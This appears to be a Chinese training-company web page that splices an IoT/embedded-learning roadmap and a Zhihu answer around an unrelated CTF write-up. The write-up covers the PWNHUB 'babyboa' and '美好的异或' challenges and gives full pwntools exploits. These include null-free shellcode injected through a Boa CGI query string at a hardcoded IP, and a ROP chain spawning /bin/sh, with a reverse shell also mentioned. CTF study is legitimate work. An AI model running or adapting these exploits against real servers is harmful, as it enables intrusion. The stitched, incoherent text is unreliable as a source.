整合营销服务商

电脑端+手机端+微信端=数据同步管理

免费咨询热线:

物联网的学习路线

物联网的学习路线

多在家自学物联网的朋友,也许大部分的人都没有一个基本的学习路线,在家里很盲目的学习,结果花费几年的时间,还是感觉一无所成,原因就是没有一个完整的学习路线!不管我们平时做什么事情,相信大家每个人应该都是在自己的脑海里先规划出一个计划或者说一个路线,以免乱了思绪!


当然对于学习来说,我们更应该有一个完整的学习路线了!

千锋教育经过市场调研和当前企业项目经验总结,撰写了一套专业的物联网课程学习路线,想要了解物联网的学习路线,你看这个就足够了!

第一阶段:嵌入式高级C语言

Linux系统

Linux Ubuntu操作系统安装、使用、Linux常用命令、samba服务器、SSH远程登录、GCC编译器、GDB调试器、VI编辑器

嵌入式C语言高级编程

1、C数据类型、控制语句

2、C程序结构设计、数组、函数、预处理

3、指针及字符串操作

4、结构体、共用体、宏、枚举

5、文件I/O操作

数据结构及算法

1、数据结构之单向链表、双向链表

2、数据结构之队列、栈

3、数据结构之树、图

4、算法之各种排序(选择法、冒泡法、插入法等)

5、递归

6、算法之二分查找

第二阶段:嵌入式设备及GUI开发

嵌入式环境配置与开发工具学习

Linux下项目管理工具Make以及Makefile工作原理及其编写Linux下shell脚本相关知识及其编写嵌入式开发环境的基本概念及其搭建A53开发板介绍、设备使用、A53开发板与电脑通信、交叉编译

GUI图形界面开发

常用控件——button、label、text edit等常用布局方式——水平布局、垂直布局、固定布局、网格布局、相对布局等常用事件及信号处理技术——信息回调、鼠标、键盘事件等时间编程、数据存储、绘图机制、定时器处理、多任务处理等

第三阶段:嵌入式Linux高级程序设计

1、Linux系统调用概念

2、进程相关概念、多进程实现多任务开发

3、进程间通信:无名管道、命名管道、信号、消息队列、共享内存等

4、多线程实现多任务开发

5、多任务的同步互斥开发:互斥锁、信号量

第四阶段:Linux高级网络程序设计

1、网络相关概念及网络发展

2、TCP/IP协议

3、socket编程、TCP网络编程、UDP网络编程、Web编程开发等

4、Linux网络应用程序开发,Linux网络编程相关 5、TCP协议服务器的编程方法和并发服务器的实现

6、HTTP协议及其实现方法,熟悉UDP广播、多播的原理及编程方法,掌握混合C/S架构网络通信系统的设计

7、IPv6与IPv4协议,及其编程接口

8、网络数据通信过程

9、网络原始套接字概念及编程接口

第五阶段:数据库及web编程开发

数据库及web编程开发

1、数据库概念、数据库类型

2、Sqlite数据库介绍及其安装与移植

3、SQL数据库语言(数据定义语言(DDL)、数据操作语言(DML)、数据查询语言(DQL)、数据控制语言(DCL))br 4、Sqlite数据库C语言编程中的各种SQL指令执行函数完成对数据库的控制

5、HTML语言开发

6、Java语言开发

7、AJAX开发

8、cgi程序开发

第六阶段:C++面向对象高级语言程序设计

1.熟悉面向对象的语言概述

2.熟练掌握c++语言的基本知识和类与对象及其高级应用

3、作用域运算符、内联函数、强制类型转换

4、new、delete内存管理

5、对象成员、成员函数

6、构造函数、析构函数、拷贝构造函数、函数重载

7、对象数组、this指针、枚举、

8、静态成员、静态成员函数

9、对象成员

10、友元

11、封装、继承、多继承、多态

12、虚函数、纯虚函数、抽象类、虚析构函数 等

第七阶段:物联网

1、了解物联网、泛在网、互联网基本要领及其关系

2、熟悉RFID从低频段到高频段的基本工作原理,以及RFID标签的种类与行业应用,读卡器原理与通信过程

3、熟悉TI的cc2530的基本应用,包含基本硬件资源,协议栈相关接口使用,以及点对点通信、星形通信、广播通信、绑定通信,三种网络结构star、tree、mesh,掌握zibgee相关微控制处理芯片

4、了解zigbe协议栈组成,以及zigbee在通信、组网、摇控等领域的不同应用

5、通过Bluetooth、wifi和zigbee技术对比各自的优缺点,并重点介绍zigbee的各种应用

6、掌握温度、湿度、光照、PH值、二氧化碳等传感器的工作原理及通信接口

7、了解NB-IOT基本概念及移运BC95模块

8、熟悉CoAP协议在NB-IOT中的应用

9、掌握常用AT指定集

第八阶段:CortexA53 Linux平台驱动开发

1、了解ARM处理器基本特征及工作原理

2、掌握ARM裸机程序开发以及裸机编译工具的使用

3、嵌入式Bootloader原理分析及其移植

4、嵌入式Linux内核结构分析及其移植

5、掌握嵌入式Linux根文件系统组成分析及其制作过程

6、掌握嵌入式Linux三大类设备驱动基本概念

7、掌握Linux字符驱动框架及GPIO输入输出驱动

8、Linux中断机制处理及响应过程

9、Linux下SPI/IIC/UART串行通信技术驱动编写与应用

10、Linux下input设备驱动框架介绍

11、Linux下platform机制设备驱动框架介绍

12、Linux下kfifo缓冲机制、并发与竞态(如互斥锁与信息号等)讲解

13、Linux驱动中的阻塞与非阻塞

14、Linux下块设备驱动框架——RAMdisk驱动实例编写

15、USB设备硬件设计原理、驱动协议架构、驱动开以流程

16、了解Linux设备驱动模型(kobject、kset、子系统、底层sysfs操作、虚拟总线等)

第九阶段:项目实操

项目一:智能家居项目

本项目实现设备的本地控制与远程控制,对开关量设备,能够实现信息采集类设备的控制如温湿度,能够实现监控类设备的控制如视频监控,安全系统如外人入侵能够自动通过GPRS报警。项目涉及技术c语言、多任务开发、网络socket开发、boa网络服务器、CGI编程、html网页设计等

项目二:智能人脸识别项目

本项目首先通过opencv库的使用来实现人脸基本训练模型检测、再深入学习通过人脸识别以及实时抓取图像分析并识别,了解认识opencv、dlib等开源工具

物联网的学习从来都不是那么简单的,不要想着一下就成材,先从基础开始学习,慢慢加深!

次的 PWNHUB 内部赛的两道题目都不是常规题,babyboa 考察的是 Boa Webserver 的 cgi 文件的利用,美好的异或考察的则是通过逆向分析解密函数来构造栈溢出 ROP。两道题目的考点都非常新颖,其中第一道题更是结合了 Web,值得大家复现学习。私信回复:资料!

babyboa

这道题的外表就是一个 Web 页面

但是实际上他的主要内容都在 cgi 文件中

cgi 文件是使用静态编译的,这在线下比赛的题目中是非常常见的,所以学会如何还原静态库的符号信息非常重要,所以这里我们第一步先尝试着还原静态库的符号信息。

1.还原静态库的符号信息

还原静态库的信息一般用的是 IDA 提供的 FLIRT,这是一种函数识别技术,即库文件快速识别与鉴定技术(Fast Library Identification and Recognition Technology)。可以通过 sig 文件来让 IDA 在无符号的二进制文件中识别函数特征,并且恢复函数名称等信息,大大增加了代码的可读性,加快分析速度。

而标准库的 sig 文件也有现成制作好的,在https://github.com/push0ebp/sig-database中下载,并且把文件导入到 IDA/sig/pc 中就能够使用,我这里为了快速找到我们导入的 sig 文件,将该文件夹中原有的文件都放到了 bak 目录下,把我们猜测可能会用到的符号文件放置到目录下

导入后再在 IDA 中按 Shift + F5,打开“List of applied library modules”页面

然后再按 INS 并选择要自动分析特征还原的静态库文件

我这里测试多次后选择的是 Ubuntu 16.04 libc6(2.23-0ubuntu6/amd64),如果你不知道静态编译使用的是哪个版本的库文件,可以尝试多导入几个版本的文件进行测试。

导入之后可以看到识别到了 623 个函数,并且大部分函数都有了名称

2.逻辑分析

在 Web 页面中输入密码可以抓到如下的包

也就是实际上 Web 页面就是用来向后端的 cgi 传递参数,并且在 cgi 中判断密码信息

main 函数中分别判定了 REQUEST_METHOD 和 QUERY_STRING 是否正确,这两个参数分别代表的是访问的模式和传递的参数,在上面例子中应该是 GET 和 password=wjh。

通过初步的判断之后,就把参数的 127 字节复制到 bss 段上的一块内容上,并且通过 handle 函数来处理参数信息。

在这个函数中先把栈上的数据清 0,再把参数从第 9 位开始复制到栈上,从九位开始的原因是为了从 password=wjh 中取出 wjh 这个字符串用于判断,因为这个才是 Web 中真正输入的密码信息。

在栈上储存参数信息的只有 0x80 个字节,但是在前面获取参数的时候对长度没有限制,所以我们只要在参数中避免\x00 ,就可以造成栈溢出来进行后续的利用。

但是没有\x00 想要构造出 ROP 实在是不能够想象(因为地址中肯定会有\x00 数据),所以我这个时候对程序进行了 checksec

发现在程序中的保护是全关的,并且在进入 handle 函数之前有复制我们传入的参数到 bss 段上,这意味着我们只需要把返回地址修改为 bss 段上的参数,并且把这一段参数构成为没有\x00 的 shellcode,就可以执行 shellcode 控制程序流程。

3.漏洞利用

有了上述的思想之后,我们只需要考虑的就是如何构造 shellcode,以及如何调试等这些细节上的问题。

如何调试程序

由于程序就是 amd64 架构的程序,所以我们实际上能够直接的执行这个文件,但是由于我们没有传入参数的两个环境变量,所以我们也无法成功进入 handle 函数流程。

我这里使用的方法是直接 nop 掉 GET 参数的那部分判断,然后 patch getenv(“QUERY_STRING”)为 read 函数,具体的汇编代码如下。

程序中的 .eh_frame 这段空间是有执行权限的,如果直接 patch 程序的字节不够实现我们想要的功能,那么我们只需要直接在这段空间上写汇编代码,并且使想要 patch 的地方 call 这个地址即可,并且在修改之后返回到原来的位置。

而且 getenv 函数是以 rax 作为返回的值,内容是一个指向返回数据的指针,所以我们自己写的这个函数也需要实现这样的一个功能,我随便在 bss 段上找了一段空间,并且用 sys_read 读取内容,经过这样的修改我就可以成功的调试。

如何编写 shellcode

这里的 shellcode 比起之前所遇到的一些 shellcode 编写的题目要简单的多,关键点就在于这里的 shellcode 只需要没有\x00 即可,因为有了\x00 就会截断 Web 数据包的后续内容,导致 BOA Web 服务器无法正常的解析。

接下来只需要正常的编写 shellcode 即可,一般可能会遇到\x00 的地方就是引用一个内存地址,由于地址常常是 0x400000 这样的,最高的两个字节是\x00。我这里用的方法是异或 0x01010101 来避免地址最高两位的\x00。

orw 部分的 shellcode 直接用 pwntools 生成即可,使用以下命令就可以自动的生成出代码

pwnlib.shellcraft.amd64.linux.cat("/flag")




除了用 cat 的方法,也可以考虑使用反弹 shell 的方法,这样的话也就不用考虑到 502 报错的问题,因为不需要 flag 的回显内容。

为何 502 了

回答这个问题的答案,就有些接近现实生活中的 PWN 的意味了,这也就是为了我需要专门写 Writeup 来说明这道题目。这个问题是让我纠结很久的一个问题,直到我下载了 BOA 的源码查看,我找到了它报错 502 的位置。

这一段是 BOA 的源码,我发现当他判断 cgi 文件中没有\n\r\n 或者\n\n 这样的字符串的时候,就会报错 502。

而正常来说 cgi 文件中一定是会返回这样的字符串的,所以会运行正常。但是在 cgi 文件发生异常退出的时候,并没有把缓冲区中的数据进行输出,常规的 pwn 题都会在题目中使用 setbuf 来设置缓冲区的长度为 0,使得程序可以实时输出。而如果程序有缓冲区的话,直到缓冲区满了或者执行_IO_fflush 才会把数据内容全部输出。

在常规的程序中,虽然没有显式的去调用_IO_flush,但是默认会使用 _libc_start_main 来启动函数,而 exit 在_libc_start_main 中被自动调用,并且在 exit 又有去调用函数来检查每个缓冲区中是否有内容,如果存在内容则输出内容,所以这使得缓冲区的内容一定被输出。

综上所述,我们需要在 shellcode 之后再加入一段代码使其调用 exit 来正常的退出程序,使得缓冲区被输出。

4.EXP

from pwn import *

context.log_level="debug"
context.arch="amd64"


def test(payload):
    sh=remote('47.99.38.177', 20001)
    data='''GET /cgi-bin/Auth.cgi?{0} HTTP/1.1
    Host: 47.99.38.177:20001
    Connection: keep-alive
    DNT: 1
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Accept-Language: zh-CN,zh;q=0.9


    '''.format(payload)
    sh.send(data)
    sh.interactive()


DEBUG=False
exit_addr=0x400e26
shellcode_addr=0x6D26C0
shellcode='''
mov eax, 0x01410f27;
xor eax, 0x01010101;
jmp rax;
'''
shellcode=pwnlib.shellcraft.amd64.linux.cat("/flag") + shellcode
shellcode=asm(shellcode).ljust(0x50, '\x90')
payload=shellcode + 'a' * (0x91 - len(shellcode)) + '\xC0\x26\x6D'
if DEBUG:
    sh=process('./Auth.cgi')
    gdb.attach(sh, "b *0x0000000000400AD5")
    sh.sendafter("charset:utf-8", payload)
    sh.interactive()
else:
    test(payload)




执行脚本之后 flag 存在于所有数据之前,这是因为直接通过 orw shellcode 输出的 flag 数据不需要经过缓冲区,而其他数据在执行 exit 过程中才从缓冲区中输出,这正印证了我们之前的想法。

美好的异或

这道题目其实考察的是 逆向算法 + 简单的栈溢出

识别加密函数

可以先看看几个函数分别干了什么

其实看到这几个函数,就可以大概猜到程序的加密是使用的魔改的 RC4 加密(把 RC4 加密中的 0x100 改为了 0x200)。

识别 RC4 加密的关键实际上就在于它的初始化秘钥代码,也就是循环对 s[i]进行赋值,赋值的内容就是为 i,另一个特征就是他的交换过程中的计算出的下标(s[i] + k[i] + v1) % 0x100,只需要看到类似的交换代码,就可以直接确定是 RC4 加密。

但由于 RC4 加密的本质操作就是通过得到异或数据进行异或,所以我们实际上只需要动态调试得到异或的数据并记录即可,在加解密的时候不需要考虑是什么加密,只需要对操作的内容进行异或。

解密数据和校验位

下面这一段就是对内容进行异或运算,encode 函数经过混淆代码非常的复杂,但是我们实际上通过前面的函数就可以猜测到这个函数的功能,也就是将数据进行异或。

因为异或的数据是固定的,所以实际上这里传入的数据如果全都是\x00,就可以直接得到异或的秘钥,我觉得这里的实现是存在一定的问题的,这使得对代码的分析实际并不必要,只需要提取出异或的内容即可。

我这里编写程序来提取出异或的数据

#include <cstdio>
#include <cstring>

unsigned int sz[10];

void rc4_init(unsigned int* s, unsigned char* key, unsigned long Len)
{
    int i=0, j=0;
    unsigned char k[0x200]={ 0 };
    unsigned int tmp=0;
    for (i=0; i < 0x200; i++)
    {
        s[i]=i;
        k[i]=key[i % Len];
    }
    for (i=0; i < 0x200; i++)
    {
        j=(j + s[i] + k[i]) % 0x200;
        tmp=s[i];
        s[i]=s[j];
        s[j]=tmp;
    }
}

void rc4_crypt(unsigned int* s, unsigned int* Data, unsigned long Len)
{
    int i=0, j=0, t=0;
    unsigned long k=0;
    unsigned int tmp;
    for (k=0; k < Len; k++)
    {
        i=(i + 1) % 0x200;
        j=(j + s[i]) % 0x200;
        tmp=s[i];
        s[i]=s[j];
        s[j]=tmp;
        t=(s[i] + s[j]) % 0x200;
        Data[k] ^=s[t];
    }
}

int main()
{
    unsigned int s[0x200];
    unsigned char key[]="freedomzrc4rc4jwandu123nduiandd9872ne91e8n3n27d91cnb9496cbaw7b6r9823ncr89193rmca879w6rnw45232fc465v2vt5v91m5vm0amy0789";
    int key_len=strlen((char *)key);
    for (int i=0; key[i]; i++)
        key[i]=6;
    rc4_init(s, key, key_len);
    rc4_crypt(s, sz, 10);
    for (int i=0; i < 10; i++)
        printf("0x%02X, ", sz[i] % 0x100);
    return 0;
}




异或之后的内容,前八位是数据位,后两位是校验位。我们只需要根据程序的逻辑正向的推出数据的校验位即可。

漏洞利用

异或之后赋值给栈上的数组,并且由于之前读入的数据长度是 0xE0,计算后发现实际上超出了栈空间的大小,从而产生了栈溢出。由于程序没有开 pie,所以这里就是 ret2csu + ret2libc 即可。直接在 bss 段上写/bin/sh\x00,pop rdi 赋值 rdi 后,然后再调用 system 就可以 getshell。

这里有个不清楚的问题就是如果我直接调用 plt 上的 system,本地可以直接打通,但是远程会报错。如果有师傅知道这个问题的原因麻烦指教一下,因此我这里最后是借助程序本身使用的 system 那段 gadget 来执行 system,发现可以正常执行。

from pwn import *

elf=None
libc=None
file_name="./main"


# context.timeout=1


def get_file(dic=""):
    context.binary=dic + file_name
    return context.binary


def get_libc(dic=""):
    libc=None
    try:
        data=os.popen("ldd {}".format(dic + file_name)).read()
        for i in data.split('\n'):
            libc_info=i.split("=>")
            if len(libc_info)==2:
                if "libc" in libc_info[0]:
                    libc_path=libc_info[1].split(' (')
                    if len(libc_path)==2:
                        libc=ELF(libc_path[0].replace(' ', ''), checksec=False)
                        return libc
    except:
        pass
    if context.arch=='amd64':
        libc=ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
    elif context.arch=='i386':
        try:
            libc=ELF("/lib/i386-linux-gnu/libc.so.6", checksec=False)
        except:
            libc=ELF("/lib32/libc.so.6", checksec=False)
    return libc


def get_sh(Use_other_libc=False, Use_ssh=False):
    global libc
    if args['REMOTE']:
        if Use_other_libc:
            libc=ELF("./libc.so.6", checksec=False)
        if Use_ssh:
            s=ssh(sys.argv[3], sys.argv[1], sys.argv[2], sys.argv[4])
            return s.process(file_name)
        else:
            return remote(sys.argv[1], sys.argv[2])
    else:
        return process(file_name)


def get_address(sh, libc=False, info=None, start_string=None, address_len=None, end_string=None, offset=None,
                int_mode=False):
    if start_string !=None:
        sh.recvuntil(start_string)
    if libc==True:
        return_address=u64(sh.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
    elif int_mode:
        return_address=int(sh.recvuntil(end_string, drop=True), 16)
    elif address_len !=None:
        return_address=u64(sh.recv()[:address_len].ljust(8, '\x00'))
    elif context.arch=='amd64':
        return_address=u64(sh.recvuntil(end_string, drop=True).ljust(8, '\x00'))
    else:
        return_address=u32(sh.recvuntil(end_string, drop=True).ljust(4, '\x00'))
    if offset !=None:
        return_address=return_address + offset
    if info !=None:
        log.success(info + str(hex(return_address)))
    return return_address


def get_flag(sh):
    sh.recvrepeat(0.1)
    sh.sendline('cat flag')
    return sh.recvrepeat(0.3)


def get_gdb(sh, gdbscript=None, addr=0, stop=False):
    if args['REMOTE']:
        return
    if gdbscript is not None:
        gdb.attach(sh, gdbscript=gdbscript)
    elif addr is not None:
        text_base=int(os.popen("pmap {}| awk '{{print $1}}'".format(sh.pid)).readlines()[1], 16)
        log.success("breakpoint_addr --> " + hex(text_base + addr))
        gdb.attach(sh, 'b *{}'.format(hex(text_base + addr)))
    else:
        gdb.attach(sh)
    if stop:
        raw_input()


def Attack(target=None, sh=None, elf=None, libc=None):
    if sh is None:
        from Class.Target import Target
        assert target is not None
        assert isinstance(target, Target)
        sh=target.sh
        elf=target.elf
        libc=target.libc
    assert isinstance(elf, ELF)
    assert isinstance(libc, ELF)
    try_count=0
    while try_count < 3:
        try_count +=1
        try:
            pwn(sh, elf, libc)
            break
        except KeyboardInterrupt:
            break
        except EOFError:
            if target is not None:
                sh=target.get_sh()
                target.sh=sh
                if target.connect_fail:
                    return 'ERROR : Can not connect to target server!'
            else:
                sh=get_sh()
    flag=get_flag(sh)
    return flag


def encode(data):
    all_data=""
    for i in range(len(data) // 8):
        xor_data=[0x67, 0x3A, 0xDB, 0x9F, 0x21, 0x84, 0xDD, 0x24, 0x7C, 0x15]
        d=[ord(data[i * 8 + j]) for j in range(8)]
        s=((d[7] + (d[6] << 8) + d[5] + (d[4] << 8) + d[3] + (d[2] << 8) + d[1] + (d[0] << 8)) >> 31) >> 24
        c=((s + d[7] + d[5] + d[3] + d[1]) & 0xff - s + 0x100) & 0xff
        d=data[i * 8: (i + 1) * 8] + p16(c)
        all_data +=''.join(chr(ord(d[i]) ^ xor_data[i]) for i in range(10))
    return all_data


def pwn(sh, elf, libc):
    context.log_level="debug"
    pop_rdi_addr=0x42cd13
    buf_addr=0x68F2C0
    sh_data='/bin/sh\x00\x7C\x71' * (0x68 // 8)
    # sh_data='sh\x00\x00\x00\x00\x00\x00\x7C\x8C' * (0x68 // 8)
    payload=p64(pop_rdi_addr) + p64(buf_addr) + p64(0x40099B)
    payload=sh_data + encode(payload)
    # gdb.attach(sh, "b *0x0000000000400B9D")
    sh.sendafter('enter:', payload)
    sh.interactive()


if __name__=="__main__":
    sh=get_sh()
    flag=Attack(sh=sh, elf=get_file(), libc=get_libc())
    sh.close()
    log.success('The flag is ' + re.search(r'flag{.+}', flag).group())



总结

这次的 babyboa 这道题目是我最接近现实生活中的漏洞利用的一次,也尝试了像反弹 shell 这样的操作。毕竟 CTF 中的 pwn 题目和现实生活中的二进制漏洞相差甚远,通过这样慢慢的尝试和努力,希望可以让我从做题走向现实生活这个大靶场,挖掘出真正的漏洞,试试私信回复资料。

乎问题:

求问如何学习嵌入式开发?


本人电气小白,目前正在自学嵌入式软件开发,对单片机不甚了解,只知道二进制0和1,也能理解程序说白了就是无数个选择(既0和1)组成的,但单片机内部电路长什么样子,程序写进去后又变成了什么样子,单片机c语言程序的组成有哪些(如控制逻辑,存放地址等等),完全一模一样的c语言程序能否写入不同的单片机中,求大佬们解答一二。


下面是答主“cdfarsight”的高赞回答,让我们一起来学习一下圈内大佬是怎么学习嵌入式的吧!


01

前言


近几年,嵌入式系统产品渐渐完善,并在全世界各行业得到广泛应用。2004年,全球嵌入式系统产品的产值已达2000亿美元,国内嵌入式软件的产值也达到600亿人民币。目前,嵌入式系统产品的研制和应用已经成为我国信息化带动工业化、工业化促进信息化发展的新的国民经济增长点。


随着消费家电的智能化,普及化,嵌入式应用逐渐凸显。日常生活离不开的的手机、平板、智能音响、数字相机、机顶盒、穿戴设备、智能玩具也在不断地推陈出新;汽车电子、智能家电、医疗器械等领域也是竞争激烈。据预测,随着Internet的迅速发展和廉价微处理器的出现,嵌入式领域将获得飞速的发展。


02

学习路线


对于入门不久的新人来说,好的学习路线往往能事半功倍。排除掉专业领域的深耕式学习,那么一个合格的嵌入式软件工程师应当具备哪些技能亦或者素质呢?笔者觉得可以从以下几个方面入手:


A 嵌入式软件编程的基础


这一阶段重点打好嵌入式软件编程的基础,包括学习Linux系统的基本应用,Linux的常用命令、C语言编程基础、常用的数据结构。


特别是C语言中对指针的理解和应用。这一阶段的主要目的是学习编程语言、开发环境、和培养自己的编程思维,为进一步学习嵌入式开发打下良好的基础。必学内容有:Linux Ubuntu操作系统安装、使用、Linux常用命令、samba服务器、SSH远程登录GCC编译器、GDB调试器、VI编辑器


1)嵌入式C语言基本语法,指针及数组操作;


2)C语言高级语法:结构体、共用体、宏、枚举;


3)数据结构;


4)Linux系统基本使用及配置;


5)Linux下Makefile工作原理及其编写;


6)Linux下shell脚本相关知识及其编写;


推荐的嵌入式学习书籍:《C程序设计语言》《大话数据结构》《Linux与Unix Shell 编程指南》《Linux就该这么学》


B 嵌入式Linux高级程序设计


这一阶段主要学习上层的嵌入式Linux应用程序开发,包括基于Linux多进程、多线程、文件与目录。掌握进程和线程编程思想才是打开技术学习的大门,不然永远是停留在语法、算法层面,无法深入解决众多实际问题。


1)Linux系统调用概念;


2)文件I/O操作相关函数使用;


3)进程相关概念、及基本控制函数;


4)无名管道、命名管道、信号、消息队列、共享内存、信号量集合;


5)多进程、多线程实现多任务开发;


6)多任务的同步互斥开发:互斥锁、自旋锁、读写锁、信号量、条件变量;


这一阶段推荐书籍:《UNIX环境高级编程》《嵌入式Linux应用程序开发详解》


C Linux高级网络程序设计


这一阶段主要掌握网络应用的CS架构编程方法,套接字编程接口及框架;同时掌握必要的数据库操作及函数,具备系统编程的综合素质。这一阶段的主要内容有:


1)网络相关概念及网络发展


2)socket编程、TCP网络编程、UDP网络编程、Web编程开发等


3)Linux网络应用程序开发,和并发CS服务器的实现


4)熟悉UDP广播、多播的原理及编程方法;


5)网络原始套接字概念及编程接口,及套接字属性设置;


6)HTTP协议及其实现方法;


6)数据库概念、数据库类型、常见数据库


7)SQLite数据库介绍及其安装与移植


这一阶段推荐的书籍:《TCP-IP详解卷》《UNIX环境高级编程》、《Unix网络编程》


D C++面向对象高级语言程序设计


这个阶段主要学习C++思想及项目框架相关知识,C++语言作为一门高级语言,其语法复杂度比较复杂,学好并不是件容易的事情。此外、其编程思想是其精华所在,融会贯通后有无招胜有招的特效。


1)熟悉面向对象的语言概述


2)熟练掌握C++基本语法


3)封装、继承、多继承;


4)多态:虚函数、抽象类、模板;


5)标准模板库STL的使用及原理;


6)UML建模及设计模式;


7)各种网络库、数据库、IO库、线程库的使用;


8)Qt对C++的扩展及使用;


这一阶段推荐书籍:《C++ Primer》《The Standard C Library》《大话设计模式》《Qt Creator快速入门》《Qt5开发及实例》


E ARM结构及驱动开发


这阶段主要了解芯片程序开发相关内容,包含STM32开发、汇编指令、ARM处理器工作原理等底层编程内容,学习这一阶段有助于理解内存、寄存器、系统、任务机制等底层概念,提高程序员的编程修养,属于点睛之笔。这阶段的学习内容包括:


1)单片机基础(汇编指令、时钟、GPIO、定时器、中断);


2)A53开发板介绍、设备使用、交叉编译


3)Keil下汇编指令编写;


3)通信总线UART、IIC、SPI及传感器模块的使用;


4)STM32开发流程;


5)uCos微型系统移植及使用;


6)Linux系统移植及使用;


这个阶段推荐书籍:《Linux内核设计与实现》《Linux设备驱动程序》《Linux设备驱动开发详解》


F 常用通信模块学习


这个阶段需要学习现有的工程模块的使用及原理,涉及RFID、红外、2.4G、Bluetooth、ZigBee、NB-IOT、Lora等。当然不要求全部完全的掌握,起码能达到会用的状态。具体来说这个阶段包含的内容有:


1)RFID工作原理,以及读卡器原理与通信过程;


2)红外遥控的原理及使用;


3)2.4G无线模块的配对及使用;


4)Bluetooth模块通信原理及使用;


5)TI的CC2530的基本应用,Zibgee相关微控制处理芯片;


6)NB-IOT基本概念及熟悉CoAP协议在中的应用;


7)Lora模块的使用;


8)掌握温度、湿度、光照、PH值、二氧化碳等传感器的工作原理及通信接口;


这个阶段没有推荐技术书籍,但感兴趣可以看一下传感器技术相关的书籍通信原理相关书籍,或者一些官方的介绍手册;


03

推荐嵌入式项目


嵌入式技术关键在于理论和实践的结合,要能够学以致用,完成了以上的所有阶段的知识点学习后,到底有没有学会,会不会用,能不能应用所学知识来解决实际开发中的问题,我们需要来完成一个综合的嵌入式实训项目,例如:


项目一:智能家居项目


本项目实现设备的本地控制与远程控制,对开关量设备,能够实现信息采集类设备的控制如温湿度,能够实现监控类设备的控制如视频监控,安全系统如外人入侵能够自动通过GPRS报警。项目涉及技术c语言、多任务开发、网络socket开发、boa网络服务器、CGI编程、html网页设计等


项目二:智能人脸识别项目


本项目首先通过opencv库的使用来实现人脸基本训练模型检测、再深入学习通过人脸识别以及实时抓取图像分析并识别,了解认识opencv、dlib等开源工具


项目三:RFID智能门禁项目


本项目实现RFID卡识别,用户信息注册、修改、删除、语音播报提示可按不同的查询条件查询,可实现考勤


项目四:多媒体播放器项目


实现带有图形界面的音乐播放、暂停、上一曲、下一曲、歌曲列表歌词同步等播放器功能,涉及到的知识点有c语言、数据结构链表、Linux多进程、多线程、进程间通信、同步互斥等


项目五:智能手机设计项目


本项目能够实现智能手机接打电话、来电显示、收发中英文短信,查看短信、信号强度检测、运营商检测。项目涉及到的技术GPRS AT指令集、Linux多进程、多线程、进程间通信、同步互斥、GUI图形开发等


项目六:智慧教室项目


本项目可通过NB-IOT等标准物联网通信协议是实现现代化资源统筹管理,基本功能是实现教室灯控、空调、通风、窗帘、门禁、人流等实时远程监控,以实现联动、手动控制和数据采集分析


这些项目都综合应用了嵌入式开发当中的应用,驱动和QT开发技术。


以上就是我建议的比较系统的嵌入式学习路线。系统学习并能灵活应用以上知识后,嵌入式基本上就算入门了,具备企业项目的嵌入式研发能力了,这时候去应聘企业的嵌入式研发工程师岗位就不会有什么问题了。


看到这里,你对嵌入式有没有一些把握了呢?


欢迎留言讨论噢~


参考链接:

https://www.zhihu.com/question/454411605/answer/1834680462


关注我们,一起学习更多IT知识!